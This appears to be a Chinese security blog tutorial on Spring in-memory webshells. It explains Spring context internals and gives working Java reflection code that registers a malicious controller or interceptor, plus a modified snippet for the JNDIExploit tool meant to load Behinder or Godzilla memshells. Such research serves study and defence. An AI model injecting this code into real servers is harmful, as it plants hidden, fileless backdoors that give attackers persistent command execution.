Java安全之Spring内存马

基础知识

Bean

bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。

通俗来讲:

  • bean 是对象
  • bean 被 IoC 容器管理
  • Spring 应用主要是由一个个的 bean 构成的

ApplicationContext

Spring 框架中,BeanFactory 接口是 Spring IoC容器 的实际代表者。

从下面的接口继承关系图中可以看出,ApplicationContext 接口继承了 BeanFactory 接口,并通过继承其他接口进一步扩展了基本容器的功能。

因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。

IoC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xmlJava注解Java代码来表示。

实现思路:

  1. 使用纯 java 代码来获得当前代码运行时的上下文环境(Conetxt);
  2. 使用纯 java 代码在上下文环境中手动注册一个 controller;
  3. controller中RequestMapping的方法中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的效果;

ContextLoaderListener 与 DispatcherServlet

主要看一下ContextLoaderListener,DispatcherServlet在之前分析Thymeleaf的SSTI的时候就做了相关的分析

下面是一个典型 Spring 应用的 web.xml 配置示例:

  1. <web-app xmlns:xsi="&lt;a href=" http:="" www.w3.org="" 2001="" XMLSchema-instance"="" rel="nofollow">http://www.w3.org/2001/XMLSchema-instance"
  2. xmlns="http://java.sun.com/xml/ns/javaee"
  3. xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
  4. version="2.5">
  5. <display-name>HelloSpringMVC</display-name>
  6. <context-param>
  7. <param-name>contextConfigLocation</param-name>
  8. <param-value>/WEB-INF/applicationContext.xml</param-value>
  9. </context-param>
  10. <listener>
  11. <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
  12. </listener>
  13. <servlet>
  14. <servlet-name>dispatcherServlet</servlet-name>
  15. <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  16. <init-param>
  17. <param-name>contextConfigLocation</param-name>
  18. <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
  19. </init-param>
  20. <load-on-startup>1</load-on-startup>
  21. </servlet>
  22. <servlet-mapping>
  23. <servlet-name>dispatcherServlet</servlet-name>
  24. <url-pattern>/</url-pattern>
  25. </servlet-mapping>
  26. </web-app>

关于 Root ContextChild Context 的重要概念:

  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
  • 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
  • 所有的Context在创建后,都会被作为一个属性添加到了 ServletContext

ContextLoaderListener

ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即 Root WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的 IoC 容器,供其他 Child Context 获取并使用容器中的 bean

回到 web.xml 中,其相关配置如下:

  1. <context-param>
  2. <param-name>contextConfigLocation</param-name>
  3. <param-value>/WEB-INF/applicationContext.xml</param-value>
  4. </context-param>
  5. <listener>
  6. <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
  7. </listener>

依照规范,当没有显式配置 ContextLoaderListenercontextConfigLocation 时,程序会自动寻找 /WEB-INF/applicationContext.xml,作为配置文件,所以其实上面的 <context-param> 标签对其实完全可以去掉。

DispatcherServlet 初始化完成后,会创建一个普通的 Child Context 实例。

每个具体的 DispatcherServlet 创建的是一个 Child Context,代表一个独立的 IoC 容器;而 ContextLoaderListener 所创建的是一个 Root Context,代表全局唯一的一个公共 IoC 容器

果要访问和操作 bean ,一般要获得当前代码执行环境的IoC 容器 代表者 ApplicationContext

Spring Controller内存马实现

获取Context

所有的Context在创建后,都会被作为一个属性添加到了 ServletContext

LandGrey师傅文中给出了4种获取当前上下文的思路

第一种:getCurrentWebApplicationContext()

  1. // getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。
  2. WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

第二种:WebApplicationContextUtils

  1. // 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦
  2. WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

第三种:RequestContextUtils

  1. // 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
  2. WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

第四种:getAttribute

  1. // 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
  2. WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

先来看第一种获取方式,这里Spring环境为5.2.3.RELEASE,该版本下的并没有getCurrentWebApplicationContext方法,找的是findWebApplicationContext方法作为替代。

源码如下,可以看出WebApplicationContextDispatcherServlet类的属性WEB_APPLICATION_CONTEXT_ATTRIBUTE

  1. @Nullable
  2. public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
  3. WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
  4. if (webApplicationContext == null) {
  5. if (servletContext != null) {
  6. webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
  7. }
  8. if (webApplicationContext == null) {
  9. webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
  10. }
  11. }
  12. return webApplicationContext;
  13. }
  14. @Nullable
  15. public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
  16. return findWebApplicationContext(request, request.getServletContext());
  17. }

那么跟进DispatcherServlet类中,WebApplicationContext是在doService方法中进行初始化的,doService方法则是初始化一些全局属性之后进入doDispatch方法处理RequestResponse

注册Controller

Spring 2.5 开始到 Spring 3.1 之前一般使用

org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping

映射器 ;

Spring 3.1 开始及以后一般开始使用新的

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping

映射器来支持@Contoller和@RequestMapping注解。

调试分析

代码如下,使用的su18师傅的思路,通过获取RequestMappingHandlerMapping父类的MappingRegistry属性并调用register方法来注册恶意的Controller

  1. @Controller
  2. public class AddControllerMemshell {
  3. @RequestMapping(value = "/addcontroller")
  4. public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception{
  5. final String controllerPath = "/zh1z3ven";
  6. WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
  7. RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
  8. Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
  9. f.setAccessible(true);
  10. Object mappingRegistry = f.get(mapping);
  11. Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
  12. Method[] ms = c.getDeclaredMethods();
  13. Field field = c.getDeclaredField("urlLookup");
  14. field.setAccessible(true);
  15. Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
  16. for (String urlPath : urlLookup.keySet()) {
  17. if (controllerPath.equals(urlPath)) {
  18. response.getWriter().println("controller url path exist already");
  19. return;
  20. }
  21. }
  22. PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
  23. RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
  24. RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
  25. Class<?> myClass = Util.getClass(CONTROLLER_CMDMEMSHELL_CLASS_STRING);
  26. for (Method method : ms) {
  27. if ("register".equals(method.getName())) {
  28. method.setAccessible(true);
  29. method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
  30. response.getWriter().println("spring controller add");
  31. }
  32. }
  33. }
  34. }

WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());代码处下断点跟进,首先是通过RequestContextHolder.currentRequestAttributes()方法拿到Request的封装类RequestFacade对象

强转为ServletRequestAttributes类型后调用getRequest方法拿到当前的Request对象

之后作为参数进入到findWebApplicationContext方法(Spring环境为5.2.3.RELEASE,该版本下并没有getCurrentWebApplicationContext方法,找的是findWebApplicationContext方法作为替代)

findWebApplicationContext方法源码如下,可以看出WebApplicationContextDispatcherServlet类的属性WEB_APPLICATION_CONTEXT_ATTRIBUTE

  1. @Nullable
  2. public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
  3. WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
  4. if (webApplicationContext == null) {
  5. if (servletContext != null) {
  6. webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
  7. }
  8. if (webApplicationContext == null) {
  9. webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
  10. }
  11. }
  12. return webApplicationContext;
  13. }
  14. @Nullable
  15. public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
  16. return findWebApplicationContext(request, request.getServletContext());
  17. }

0x01 获取上下文

那么跟进DispatcherServlet类中,WebApplicationContext是在doService方法中进行初始化的,doService方法则是初始化一些全局属性之后进入doDispatch方法处理RequestResponse

回头看findWebApplicationContext方法,获取到的是一个XmlWebApplicationContext实例类型的 Root WebApplicationContext

0x02 获取RequestMappingHandlerMapping

关于RequestMappingHandlerMapping

RequestMappingHandlerMapping的作用是在容器启动后将系统中所有控制器方法的请求条件(RequestMappingInfo)和控制器方法(HandlerMethod)的对应关系注册到RequestMappingHandlerMapping Bean的内存中,待接口请求系统的时候根据请求条件和内存中存储的系统接口信息比对,再执行对应的控制器方法。

直白一点讲就是处理Controller中在存在@RequestMapping注解的方法,当我们访问该注解中的值对应的url时,请求会进入相应的方法处理,而RequestMappingHandlerMapping类就是做的绑定@RequestMapping注解与相应Method之间的映射

RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

最终进入DefaultListableBeanFactory#getBean方法,之后通过走resolveBean逻辑获取并return RequestMappingHandlerMapping实例对象

主要逻辑还是在DefaultListableBeanFactory#resolveNamedBean方法中,先是传入requiredType.toClass()beanNameargs,走进getBean方法逻辑去获取 RequestMappingHandlerMapping的实例化对象

getBean方法中单步调试过程有些多,就不贴图了,调用栈如下:

  1. doGetBean:250, AbstractBeanFactory (org.springframework.beans.factory.support)
  2. getBean:227, AbstractBeanFactory (org.springframework.beans.factory.support)
  3. resolveNamedBean:1155, DefaultListableBeanFactory (org.springframework.beans.factory.support)
  4. resolveBean:416, DefaultListableBeanFactory (org.springframework.beans.factory.support)
  5. getBean:349, DefaultListableBeanFactory (org.springframework.beans.factory.support)
  6. getBean:342, DefaultListableBeanFactory (org.springframework.beans.factory.support)
  7. getBean:1126, AbstractApplicationContext (org.springframework.context.support)

最终调用getSingleton方法获取到了 RequestMappingHandlerMapping 的实例对象

之后new 了一个 NamedBeanHolder 将RequestMappingHandlerMapping对象与beanName一起作为的属性保存在NamedBeanHolder中

后续通过该对象的getBeanInstance方法获取到RequestMappingHandlerMapping并返回出来,至此也就拿到了RequestMappingHandlerMapping对象

0x03 反射获取mappingRegistry属性

  1. Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
  2. f.setAccessible(true);
  3. Object mappingRegistry = f.get(mapping);

该属性为AbstractHandlerMethodMapping的内置类MappingRegistry对象,其中包含了regiester方法,后续添加contorller也是通过此方法

0x04 MappingRegistry#register

这里大致为两步,首先是构造RequestMappingInfo,其中包含了我们注册时需要的一些属性,其次是反射调用MappingRegistry#register方法将恶意的Controller给注册进去

因为是通过MappingRegistry#register方法注册Controller,我们简单来看一下一个正常的Controller是如何在代码中绑定@RequestMapping注解和对应Method方法的。

因为整个过程调用栈比较长,如果想从初始化开始一直到register方法会贴很多图,感兴趣的师傅可以根据su18师傅以及这篇文章去调试,相关调用栈如下

  1. register:598, AbstractHandlerMethodMapping$MappingRegistry (org.springframework.web.servlet.handler)
  2. registerHandlerMethod:318, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
  3. registerHandlerMethod:350, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
  4. registerHandlerMethod:67, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
  5. lambda$detectHandlerMethods$1:288, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
  6. accept:-1, 2019467502 (org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$99)
  7. forEach:684, LinkedHashMap (java.util)
  8. detectHandlerMethods:286, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
  9. processCandidateBean:258, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
  10. initHandlerMethods:217, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
  11. afterPropertiesSet:205, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
  12. afterPropertiesSet:171, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
  13. invokeInitMethods:1855, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
  14. initializeBean:1792, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
  15. doCreateBean:595, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
  16. createBean:517, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
  17. lambda$doGetBean$0:323, AbstractBeanFactory (org.springframework.beans.factory.support)
  18. getObject:-1, 924632896 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$56)
  19. getSingleton:222, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
  20. doGetBean:321, AbstractBeanFactory (org.springframework.beans.factory.support)
  21. getBean:202, AbstractBeanFactory (org.springframework.beans.factory.support)
  22. preInstantiateSingletons:879, DefaultListableBeanFactory (org.springframework.beans.factory.support)
  23. finishBeanFactoryInitialization:878, AbstractApplicationContext (org.springframework.context.support)
  24. refresh:550, AbstractApplicationContext (org.springframework.context.support)
  25. configureAndRefreshWebApplicationContext:702, FrameworkServlet (org.springframework.web.servlet)
  26. createWebApplicationContext:668, FrameworkServlet (org.springframework.web.servlet)
  27. createWebApplicationContext:716, FrameworkServlet (org.springframework.web.servlet)
  28. initWebApplicationContext:591, FrameworkServlet (org.springframework.web.servlet)

这里直接来看AbstractHandlerMethodMapping#processCandidateBean方法

先通过if中的isHandler方法判断当前的beanType是否含有@Controller或者@RquestMapping注解

跟入detectHandlerMethods,首先获取handler的class对象,之后在lambda表达式中通过调用createRequestMappingInfo方法根据注解创建RequestMappingInfo对象,之后调用forEach循环遍历前面筛选出的method并调用registerHandlerMethod方法创建method与mapping之间的映射

而registerHandlerMethod方法最终是调用的MappingRegistry#register方法

register方法源码如下

  1. public void register(T mapping, Object handler, Method method) {
  2. if (KotlinDetector.isKotlinType(method.getDeclaringClass()) && AbstractHandlerMethodMapping.KotlinDelegate.isSuspend(method)) {
  3. throw new IllegalStateException("Unsupported suspending handler method detected: " + method);
  4. } else {
  5. this.readWriteLock.writeLock().lock();
  6. try {
  7. HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method);
  8. this.validateMethodMapping(handlerMethod, mapping);
  9. this.mappingLookup.put(mapping, handlerMethod);
  10. List<String> directUrls = this.getDirectUrls(mapping);
  11. Iterator var6 = directUrls.iterator();
  12. while(var6.hasNext()) {
  13. String url = (String)var6.next();
  14. this.urlLookup.add(url, mapping);
  15. }
  16. String name = null;
  17. if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) {
  18. name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping);
  19. this.addMappingName(name, handlerMethod);
  20. }
  21. CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping);
  22. if (corsConfig != null) {
  23. this.corsLookup.put(handlerMethod, corsConfig);
  24. }
  25. this.registry.put(mapping, new AbstractHandlerMethodMapping.MappingRegistration(mapping, handlerMethod, directUrls, name));
  26. } finally {
  27. this.readWriteLock.writeLock().unlock();
  28. }
  29. }
  30. }

register方法主要做的就是绑定method与mapping之间的映射

比如mappingLookup属性存储了mapping与handler method的映射关系

而在urlLookup中存储了url与mapping的映射关系

以及在registry中,存储了mapping与MappingRegistration对象的映射关系。

综上,在注册Controller时大致需要用到的具体的属性如下。

所以整个Spring Controller内存马注册的过程大致如下:

获取Context ==> 获取RequestMappingHandlerMapping ==> 获取MappingRegistry属性 ==> 构造RequestMappingInf(url,RequestMethodsRequestCondition ==> 调用MappingRegistry#register方法注册Controller

Spring Interceptor内存马实现

定义拦截器必须实现HandlerInterceptor接口,HandlerInterceptor接口中有三个方法:

  • preHandle方法是controller方法执行前拦截的方法

    return true放行,执行下一个拦截器,如果没有拦截器,执行controller中的方法。

    return false不放行,不会执行controller中的方法。
  • postHandle是controller方法执行后执行的方法,在JSP视图执行前。

    可以使用request或者response跳转到指定的页面

    如果指定了跳转的页面,那么controller方法跳转的页面将不会显示。
  • afterCompletion方法是在JSP执行后执行

    request或者response不能再跳转页面了

拦截器就不再多说了,而关于拦截器的初始化与注册,其实在之前分析doDispatch方法文章里就有涉及到一点,这次深入跟一下。

断点直接打在DispatcherServlet#doDispatch方法,F9跳入getHandler方法中

该方法对HandlerMapping进行遍历,当某个HandlerMapping调用getHandler的返回结果HandlerExecutionChain对象不为null时,则将此HandlerExecutionChain对象return出去。

往下跟而其中mapping对象调用的getHandler方法为AbstractHandlerMapping#getHandler方法,而HandlerExecutionChain镀锡是通过调用getHandlerExecutionChain获取到的

继续跟进getHandlerExecutionChain方法,最终通过HandlerExecutionChain#addInterceptor方法添加的拦截器Interceptor

观察下面addInterceptor源码可发现,目前只要构造好一个实现HandlerInterceptor恶意Interceptor即可。

  1. public void addInterceptor(HandlerInterceptor interceptor) {
  2. this.initInterceptorList().add(interceptor);
  3. }

那后续就是观察Interceptor是在哪里固定调用的哪一个方法,就类似于Tomcat中Filter的doFileter方法一样。

其实重点就是获取ApplicationContextrequestMappingHandlerMappingadaptedInterceptors属性,拿到adaptedInterceptors属性后调add方法把我们恶意的拦截器添加进去即可。

看一下网上多数文章用到的注入拦截器的代码,copy自su18师傅,add方法中那一串就是base64编码后的class文件的bytes数组,主要看思路。

大致是通过:

0x01: RequestContextUtils.findWebApplicationContext获取Context

0x02: context.getBean(RequestMappingHandlerMapping.class)获取RequestMappingHandlerMapping

0x03: 反射获取adaptedInterceptors属性

0x04: list.add(HandlerInterceptor)添加Interceptor

  1. @Controller
  2. public class AddInterceptorMemshell {
  3. @RequestMapping(value = "/addinterceptor")
  4. public void addInterceptor(HttpServletRequest request, HttpServletResponse response) throws Exception {
  5. WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
  6. RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
  7. Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
  8. f.setAccessible(true);
  9. List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
  10. list.add((HandlerInterceptor) Util.getClass(Util.INTERCEPTOR_CMDMEMSHELL_CLASS_STRING).newInstance());
  11. response.getWriter().println("interceptor added");
  12. }
  13. }

剩下的就不测试了,类似于Controller,下面看下改JNDIExploit时遇到的小问题

改造JNDIExploit

feihong师傅的JNDIExploit项目中获取ApplicationContext思路如下:

  1. // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
  2. Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
  3. // 2. 属性被 private 修饰,所以 setAccessible true
  4. field.setAccessible(true);
  5. // 3. 获取一个 ApplicationContext 实例
  6. WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next();

而我在测试5.2.3的Spring时会抛出如下异常

  1. [+] Add Dynamic Interceptor
  2. java.util.NoSuchElementException
  3. at java.util.LinkedHashMap$LinkedHashIterator.nextNode(LinkedHashMap.java:721)
  4. at java.util.LinkedHashMap$LinkedKeyIterator.next(LinkedHashMap.java:742)

暂时没找到原因,所以在改JNDIExploit时也是用的第一种获取Context的思路,重新拿反射写了一遍,大致代码如下(只测试了5.2.3版本Spring通过)

  1. // 0x01 获取Context
  2. Class RCHClass = Class.forName("org.springframework.web.context.request.RequestContextHolder");
  3. ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes) RCHClass.getDeclaredMethod("currentRequestAttributes").invoke(RCHClass, null);
  4. // Method currentRequestAttributes = rctxh.getDeclaredMethod("currentRequestAttributes", null);
  5. Class SRAClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
  6. Method getRequestMethod = SRAClass.getDeclaredMethod("getRequest");
  7. Class RCUClass = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");
  8. Method findWebApplicationContextMethod = RCUClass.getMethod("findWebApplicationContext", HttpServletRequest.class);
  9. WebApplicationContext context = (WebApplicationContext) findWebApplicationContextMethod.invoke(RCUClass, getRequestMethod.invoke(servletRequestAttributes));
  10. // 0x02 通过 context 获取 RequestMappingHandlerMapping 对象
  11. RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
  12. // 0x03 获取adaptedInterceptors并添加Interceptor
  13. Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
  14. f.setAccessible(true);
  15. List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
  16. list.add((HandlerInterceptor) clazz.newInstance());

那么剩下的就是将Behinder3或者Godzilla4的Memshell base64字段替换一下即可。

Behinder3 Memshell

Godzilla4 Memshell

Reference

https://landgrey.me/blog/12/

https://landgrey.me/blog/19/

https://su18.org/post/memory-shell/

https://myzxcg.com/2021/11/Spring-内存马实现/

https://f5.pm/go-83042.html

Java安全之Spring内存马的更多相关文章

  1. 利用Fastjson注入Spring内存马

    此篇文章在于记录自己对spring内存马的实验研究 一.环境搭建 搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller ...

  2. Java安全之Weblogic内存马

    Java安全之Weblogic内存马 0x00 前言 发现网上大部分大部分weblogic工具都是基于RMI绑定实例回显,但这种方式有个弊端,在Weblogic JNDI树里面能将打入的RMI后门查看 ...

  3. Java安全之Resin2内存马

    Java安全之Resin2内存马 环境 resin2.1.17 添加Filter分析 依然是web.xml注册一个filter,debug进去看注册流程 debug dofilter逻辑时看到如下代码 ...

  4. 针对spring mvc的controller内存马-学习和实验

    1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...

  5. 针对Spring MVC的Interceptor内存马

    针对Spring MVC的Interceptor内存马 目录 针对Spring MVC的Interceptor内存马 1 基础拦截器和调用流程的探索 1.1 基础拦截器 1.2 探索拦截器的调用链 1 ...

  6. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

  7. Java安全之反序列化回显与内存马

    Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...

  8. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  9. 简单学习java内存马

    看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...

随机推荐

  1. Jenkins配置管理工具

    安装完成后,配置管理工具 安装并配置git yum -y install git 编辑git环境变量为/usr/bin/git 安装并配置maven wget https://mirrors.tuna ...

  2. ios消息队列APNS实现和证书申请

    iOS消息推送的工作机制可以简单的用下图来概括: Provider是指某个iPhone软件的Push服务器,APNS是Apple Push Notification Service的缩写,是苹果的服务 ...

  3. 减轻内存负担,在 pymysql 中使用 SSCursor 查询结果集较大的 SQL

    前言 默认情况下,使用 pymysql 查询数据使用的游标类是 Cursor,比如: import pymysql.cursors # 连接数据库 connection = pymysql.conne ...

  4. mysql联合查询更新数据库例子

    mysql联合查询更新数据库例子,用户表,部门表,把用户表中的部门属性更新为部门表的主键UPDATE user_table AS utINNER JOIN belongdept AS bd ON bd ...

  5. [源码解析] PyTorch 分布式之弹性训练(2)---启动&单节点流程

    [源码解析] PyTorch 分布式之弹性训练(2)---启动&单节点流程 目录 [源码解析] PyTorch 分布式之弹性训练(2)---启动&单节点流程 0x00 摘要 0x01 ...

  6. JAVA使用aspose实现word文档转pdf文件

    引入jar包 下载地址:https://yvioo.lanzous.com/iezpdno3mob 然后打开下载的目录打开cmd执行 mvn install:install-file -Dfile=a ...

  7. SpringBoot项目使用Caffeine本地缓存

    环境配置:(或以上版本,必须) JDK 版本:1.8  Caffeine 版本:2.8.0SpringBoot 版本:2.2.2.RELEASE 也可以不与SpringBoot结合 1.添加maven ...

  8. js(jQuery)获取自定义data属性的值

    有时候因为需要在标签上设置自定义data属性值, <div class="col-sm-6 col-md-4" id="get_id" data-c_id ...

  9. Spring整合redis实现key过期事件监听

    打开redis服务的配置文件   添加notify-keyspace-events Ex  如果是注释了,就取消注释 这个是在以下基础上进行添加的 Spring整合redis:https://www. ...

  10. 聊一下 TS 中的交叉类型

    交叉类型不能完全按照传统编程中的 与 来理解. 交叉类型的定义:将多个类型合并为一个类型,包含了所有类型的特性,而且要同时满足要交叉的所有类型. 后半段话不是很好理解,看一下接口类型和联合类型的交叉类 ...